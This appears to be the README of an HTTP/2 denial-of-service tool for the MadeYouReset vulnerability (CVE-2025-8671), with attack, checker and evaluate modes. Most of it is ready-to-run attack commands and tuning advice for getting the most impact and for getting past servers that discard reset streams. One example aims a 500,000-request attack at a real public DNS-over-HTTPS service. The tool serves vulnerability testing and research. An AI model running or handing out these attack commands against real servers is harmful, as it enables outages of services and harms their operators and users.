MadeYouReset

A tool for testing HTTP/2 servers for the MadeYouReset vulnerability (CVE-2025-8671).

For more information about MadeYouReset - visit my blog.

Features Overview

Modes

The MadeYouReset tool provides a command-line interface with four main operation modes:

1. Attack Mode (-mode=attack): Run MadeYouReset attack with multiple clients for performance testing
2. Checker Mode (-mode=checker): Check if a server is vulnerable to MadeYouReset primitives
3. Evaluate Mode (-mode=evaluate): Comprehensive evaluation comparing MadeYouReset attack with HTTP/2 request flood attack

Client Types (MadeYouReset Primitives)

MadeYouReset Clients:

All MadeYouReset clients send a HTTP request (HEADERS frame with END_STREAM) followed by a frame (MadeYouReset primitive) that can trigger a RST_STREAM frame from the server. The MadeYouReset primitives of each client are:

• overflow-window: WINDOW_UPDATE which causes the window size to overflow.
• zero-window: WINDOW_UPDATE with a zero size increment.
• end-stream-headers: HEADERS frame (over a stream which was closed with END_STREAM)
• end-stream-data: DATA frame (over a stream which was closed with END_STREAM)
• malformed-priority: PRIORITY frame with length==6
• self-dep: PRIORITY frame with self dependency (makes the stream dependant on itself).

Other Options:

• no-reset: A regular HTTP/2 request flood attack. Uses an implementation of h2load written in go. Won't open more than 100 concurrently.
• all: Run all MadeYouReset clients (only for checker mode)

Monitoring Options

1. SSH Monitoring (-with-ssh-monitor): Collect real-time system statistics from the target server during attacks.
2. Effect on Benign HTTP/2 Client (-with-benign-client): Run a benign HTTP/2 client in parallel to the attack in order to measure its effect.
3. Logging (-output-folder) based on the mode used, in JSON format.

CLI Usage

CLI Parameters

Server Configuration

• -url: Target URL (e.g., https://example.com/path) - Required
• -servername: Server name for TLS SNI (optional, defaults to host from URL)

Client Configuration

• -mode: Operation mode (attack, checker, evaluate) - Default: attack
• -client-type: Type of MadeYouReset client to use - Default: overflow-window
• -clients: Number of concurrent clients to run - Default: 1
• -requests: Maximum number of requests per client (0 for unlimited) - Default: 0
• -batch-size: Number of requests to send in a single batch. Default: 100. The batch size cannot exceed 100 due to the HTTP/2 MAX_CONCURRENT_STREAMS limit. This is enforced by the tool.
• -iterations: Number of iterations to run each client - Default: 1

Timing Configuration

• -duration: Test duration (e.g., 30s, 1m, 1h). If not set, runs until all requests are sent or interrupted
• -delay-between-frames: Delay between frames within a request
• -delay-between-batches: Delay between batches of requests

DNS Configuration

• -dns-domain: Domain for DNS request (required if request-type is dns-request)

Output Configuration

• -verbose: Enable verbose output
• -output-folder: Output folder for logs. If not provided, logs will not be saved to disk.

Monitoring Options

• -with-ssh-monitor: Run SSH monitor in parallel to collect statistics (only for attack and evaluate mode; see note below)
• -with-benign-client: Run a benign HTTP/2 client in parallel to collect statistics (only for attack mode)

SSH Monitor Configuration (when using -with-ssh-monitor)

• -ssh-server-address: SSH server address in IP:PORT format
• -ssh-user: SSH user
• -ssh-password: SSH password

Modes Details

Attack Mode

Purpose: Run MadeYouReset attacks with maximum performance to stress test HTTP/2 servers.

How it Works:

1. A number of concurrent clients is initialized, as configured using --client
2. Each client sends up to N requests (configured by --requests N) in the following manner:
   1. Batch of B HEADERS frames (configured by --batch-size B)
      • Batch size can not be larger then 100 - otherwise the client will go over the MAX_CONCURRENT_STREAMS limit
   2. Delay (configured by -delay-between-batches T1)
   3. Batch of B MadeYouReset primitive frames (e.g., WINDOW_UPDATE, PRIORITY, etc.) (configured by --client-type)
   4. In both batches, a delay between frames within the batch can be introduced using --delay-between-frames T2
3. If --iterations I is used, when a client finishes, it will be replaced with a new client. This will happen I times for each client.
4. If --duration D is specified, all clients will stop after that specified time.
5. If --output-folder is specified, a log file named attack.log will be created in the output folder. A log line will be written every 0.5 second, which contains:
   1. Timestamp
   2. Requests amount sent in the last 0.5 seconds (from all clients together).
   3. Error count from the last 0.5 seconds the client encountered (like connection termination by the server)

Checker Mode

Purpose: Assess server vulnerability to MadeYouReset primitives through systematic testing.

How it Works:

1. For each MadeYouReset primitive (if using --client-type all), or for the specified primitive:
   1. Opens 1 HTTP/2 connection to the server.
   2. Sends N requests (--requests N) to the server, using the configured batch size (--batch-size)
      • Batch size cannot be larger than 100 - otherwise the client will go over the MAX_CONCURRENT_STREAMS limit
      • Supports --delay-between-frames, --delay-between-batches.
   3. Waits for RST_STREAM responses for each of the created streams.
   4. The primitive check is passed if responses are received for all streams and no GO_AWAY is received from the server. Otherwise, it is failed.
   5. Use --verbose to see the response received for each stream (including the RST type).

Checker Output:

• A summary is printed for each primitive tested, indicating pass/fail and any errors encountered.
• If a connection fails or the server sends a GOAWAY, this will be reported in the output.

Evaluate Mode

Purpose: Comprehensive comparison between MadeYouReset attacks and traditional HTTP/2 request flood attack, with effects on other clients and the attacked server.

How it Works:

1. During evaluation, a benign probing client will run in the background, collecting stats as specified in the "Monitoring Options" Section.
2. An optional Remote SSH System monitoring can be configured, as specified in the "Monitoring Options" Section.
3. Evaluation should be used with a duration (--duration D).
4. Supports the use of several attackers (using -clients C).
5. Evaluation is comprised of two main phases:
   • Before Phase 1: 5 seconds of the monitoring tools (benign client and SSH stats)
   • Phase 1: HTTP/2 flood attack (for duration D), using C clients, as configured by --clients C
   • Between phases: Sleep of 5 seconds.
   • Phase 2: MadeYouReset attack (for duration D), using C clients
   • After Phase 2: 5 seconds of the monitoring tools (benign client and SSH stats)
6. Stats Report: Provides a comparison between the MadeYouReset Attackers and the HTTP2 flood attackers.
7. If --output-folder is specified, the following log files will be created:
   • h2load.log: Phase 1 - HTTP/2 request flood attacker logs
   • attack.log: Phase 2 - MadeYouReset Attack logs
   • h2load_during.log: Benign client logs across the entire test
   • tool.config: Tool configuration dump
   • system_stats.log: Target system stats collected by SSH monitoring (if -with-ssh-monitoring is used)

Evaluate Mode Report:

• At the end of the evaluation, a summary is printed comparing the request rates of the two attack phases.
• The user should review the logs and summary to assess the impact of each attack type.

Monitoring Options

Logging (--output-folder)

If -output-folder is supplied, the following log files will be created (according to the Mode used):

• attack.log: MadeYouReset Attack logs
• h2load.log: HTTP/2 flood attacker logs
• h2load_during.log Benign client logs
• tool.config: Tool configuration dump
• system_stats.log: Target system stats collected by SSH monitoring (if -with-ssh-monitoring is used)

Log Format:

• All logs are in JSON format.
• Example attack.log entry: { "timestamp": "15:04:05.000000", "requests": 1000, "errors": 0 }
• Example h2load_during.log entry: { "latency": "203.015ms", "status": 200, "timestamp": "11:21:45.731813200" }

SSH Monitoring (-with-ssh-monitor)

Purpose: Collects Memory usage and total and per Core CPU usage.

How it Works:

1. An SSH connection to the specified address (--ssh-server-address) is established, using --ssh-user and --ssh-password.
2. Every 0.5 seconds, system stats will be collected using a sample time of 0.3 seconds.
3. All results will be saved in "system_stats.log" in the specified output folder (--output-folder)

Effect on Benign HTTP/2 Probing Client (-with-benign-client)

Purpose: Run a benign HTTP/2 probing client in parallel with the attack for latency measurements. The client is designed to create minimal load on the server, while giving informative latency and performance measurements.

How it Works:

1. An h2load-like client is initialized.
2. The benign HTTP/2 client will use max_concurrent_streams = 1. It will have only 1 inflight request at every single moment.
   This choice will make minimal load on the server while still having continuous latency measurements.
3. A log file named h2load_during.log will be created in --output-folder, with the following stats for all requests:
   1. Request start time
   2. Response status
   3. Response time latency
4. --output-folder must be specified.

Note:

• The benign client is only available in attack mode.
• Benign client is use in Evaluate mode as well, as part of the evaluation process. This is not configurable.
• It is implemented as a special h2load instance with only one concurrent stream.

Analyzing Results

With the addition of informative summary statistics to modes attack and evaluate, the Python script "made_you_reset_plotter.py" is supplied as well, which plots graphs (using Plotly) based on the logs written to the disk using --output-folder. Use --help to see the available arguments that can be used.

Using the Plotter Script

Run the plotting script with --help to see all available arguments and options:

python made_you_reset_plotter.py --help

Example Visualizations

The following examples show graphs generated from evaluate mode results, demonstrating the comparison between MadeYouReset attacks and traditional HTTP/2 flood attacks:

Example 1: Request rate comparison and system impact analysis

Example 2: Latency analysis and performance degradation visualization

Building

Prerequisites

• Go 1.19 or later
• Git

Build Instructions

# Clone the repository
git clone https://github.com/yourusername/MadeYouReset.git
cd MadeYouReset

go mod tidy
# Build the binary
go build -o MadeYouReset

Examples

Attack Mode Examples

Basic Attack

# Simple MadeYouReset attack with overflow window updates
./MadeYouReset --mode=attack --url=https://example.com --client-type=overflow-window --batch-size 1 --clients=1 --requests=500000 --delay-between-batches 10000ns

High-Performance Attack

# High-load attack with multiple clients and batch size=100 and delay between frames
./MadeYouReset -mode=attack -url=https://target.com -client-type=zero-window \
  -clients=4 -requests=500000 -batch-size=100 -iterations=3 --delay-between-frames 10ns

Attack with Monitoring

# Attack with SSH monitoring and benign client comparison
./MadeYouReset -mode=attack -url=https://192.168.1.100 -client-type=end-stream-headers \
  -clients=2 -requests=200000 -duration=60s \
  -with-ssh-monitor -ssh-server-address=192.168.1.100:22 -ssh-user=admin -ssh-password=mypass \
  -with-benign-client -output-folder=./attack_results

DNS over HTTPS Attack

# Attack DNS server using DNS over HTTPS
./MadeYouReset -mode=attack -url=https://dns.google/ -dns-domain=example.com \
  -client-type=malformed-priority -clients=1 -requests=500000 --batch-size 100

Checker Mode Examples

Basic Vulnerability Check

# Check server vulnerability to zero window updates
./MadeYouReset -mode=checker -url=https://example.com -client-type=zero-window \
  -requests=10 -batch-size=1

Comprehensive Vulnerability Assessment

# Test all MadeYouReset primitives on a server
./MadeYouReset -mode=checker -url=https://target.com -client-type=all \
  -requests=200 -batch-size=1 -verbose

Checker with Custom Timing

# Checker with delays to test server behavior under controlled conditions
./MadeYouReset -mode=checker -url=https://server.com -client-type=overflow-window \
  -requests=50 -batch-size=10 -delay-between-frames=100ms -delay-between-batches=500ms

Evaluate Mode Examples

Basic Evaluation

# Compare MadeYouReset attack vs HTTP/2 request flood attack  
./MadeYouReset -mode=evaluate -url=https://example.com -client-type=overflow-window \
  -duration=30s -clients=1 -batch-size 1 -output-folder=./evaluation_results

Comprehensive Evaluation with Monitoring

# Evaluation with SSH monitoring
./MadeYouReset -mode=evaluate -url=https://target.com -client-type=zero-window \
  -duration=2m -clients=2 -batch-size=100  -delay-between-batches 600000ns\
  -with-ssh-monitor -ssh-server-address=192.168.1.100:22 -ssh-user=admin -ssh-password=mypass \
  -output-folder=./evaluation_results

Output Analysis

Tips For Testing

Server configuration

Configure the requested resource with a delay, like 50ms, in the logic that computes the response (in other words - sleep(0.05)). The MadeYouReset attack will be more powerful the more time it takes the server to compute the response. Note that on most web services, it is easy to find a resource that takes at least 50ms to be computed at the server side. We suggest to start with an even bigger delay - to see the result of the attack faster.

Fine Tuning MadeYouReset

Servers can have different architectures that will affect how MadeYouReset impact them. Below are common design choices, and how to fine tune MadeYouReset accordingly. In the next section the cmd's for those are given

1. Connection terminates deterministically after X streams: Use --requests N to limit the amount of requests to that number, and use the --iterations I argument to make the attack go longer (for example --iterations 1000). The combination of both will be running a client for N requests, and then replaceing it with a new client. This will happen I times for each client.

2. CPU core is affected but other clients aren't: try increasing the number of clients to at least the number of cores in the server (using --clients). For some implementations, the affected clients are only the ones that are processed on the same cpu core as the attacker.

3. HTTP Requests dont reach the "request handling function": Some Implementations discard requests if their streams are RSTed shortly after they are received. In order to bypass that, add a delay between batches, using --delay-between-batches, and if it doesn't work, add a delay between frames using --delay-between-frames. In such cases a delay will increase the impact on the backend (or on the backend server if the target server is a proxy/load balancer) on account of the impact on the HTTP/2 module.

Test Guide

1. Find MadeYouReset Primitive

   Run the following primitive check, and choose a primitve that works.

./MadeYouReset --url <url> --mode checker --client-type all --requests 1 --batch-size 1 --verbose #find primitives
./MadeYouReset --url <url> --mode checker --client-type all --requests 10 --batch-size 10 #check bigger batch size and more requests
./MadeYouReset --url <url> --mode checker --client-type all --requests 100 --batch-size 100 #check bigger batch size and more requests
./MadeYouReset --url <url> --mode checker --client-type all --requests 500 --batch-size 100 --delay-between-batches 0ns #check bigger batch size and more requests, possibly delay should be introduced

2. Fine Tune The Attack

   We suggest testing the combinations of at least the following parameters and values:

DELAY_BETWEEN_BATCHES: 0ns, 1ns, 100ns, 1000ns, 10000ns, 500000ns
BATCH_SIZE: 1, 10, 100
CLIENTS: 1, 2, NUM_OF_CORES

This can easily be run using exporting the parameters:

export FOLDER=<base_folder_for_logs>
export CLIENTS=1
export DELAY_BETWEEN_BATCHES=100ns
export DURATION=15s
export BATCH_SIZE=10

And then running the attack with SSH monitoring:

./MadeYouReset --url <url> --mode attack --client-type overflow-window --iterations 1 --clients $CLIENTS --duration $DURATION --batch-size $BATCH_SIZE --delay-between-batches $DELAY_BETWEEN_BATCHES --with-benign-client --with-ssh-monitor --ssh-server-address <ssh_server_address> --ssh-user <ssh_user> --ssh-password <ssh-password> --output-folder "$FOLDER"/c-"$CLIENTS"_dur-"$DURATION"_bs-"$BATCH_SIZE"_dbb-"$DELAY_BETWEEN_BATCHES"

Or without SSH monitoring:

./MadeYouReset --url <url> --mode attack --client-type overflow-window --iterations 1 --clients $CLIENTS --duration $DURATION --batch-size $BATCH_SIZE --delay-between-batches $DELAY_BETWEEN_BATCHES --with-benign-client --output-folder "$FOLDER"/c-"$CLIENTS"_dur-"$DURATION"_bs-"$BATCH_SIZE"_dbb-"$DELAY_BETWEEN_BATCHES"

3. Evaluate Mode

   After finding the best parameters, run in Evaluation Mode for comparison with HTTP/2 request flood attack (should be run for a longer period)

export DURATION=60s

./MadeYouReset --url <url> --mode evaluate --client-type overflow-window --iterations 1 --clients $CLIENTS --duration $DURATION --batch-size $BATCH_SIZE --delay-between-batches $DELAY_BETWEEN_BATCHES --with-benign-client --with-ssh-monitor --ssh-server-address <ssh_server_address> --ssh-user <ssh_user> --ssh-password <ssh-password> --output-folder "$FOLDER"/c-"$CLIENTS"_dur-"$DURATION"_bs-"$BATCH_SIZE"_dbb-"$DELAY_BETWEEN_BATCHES"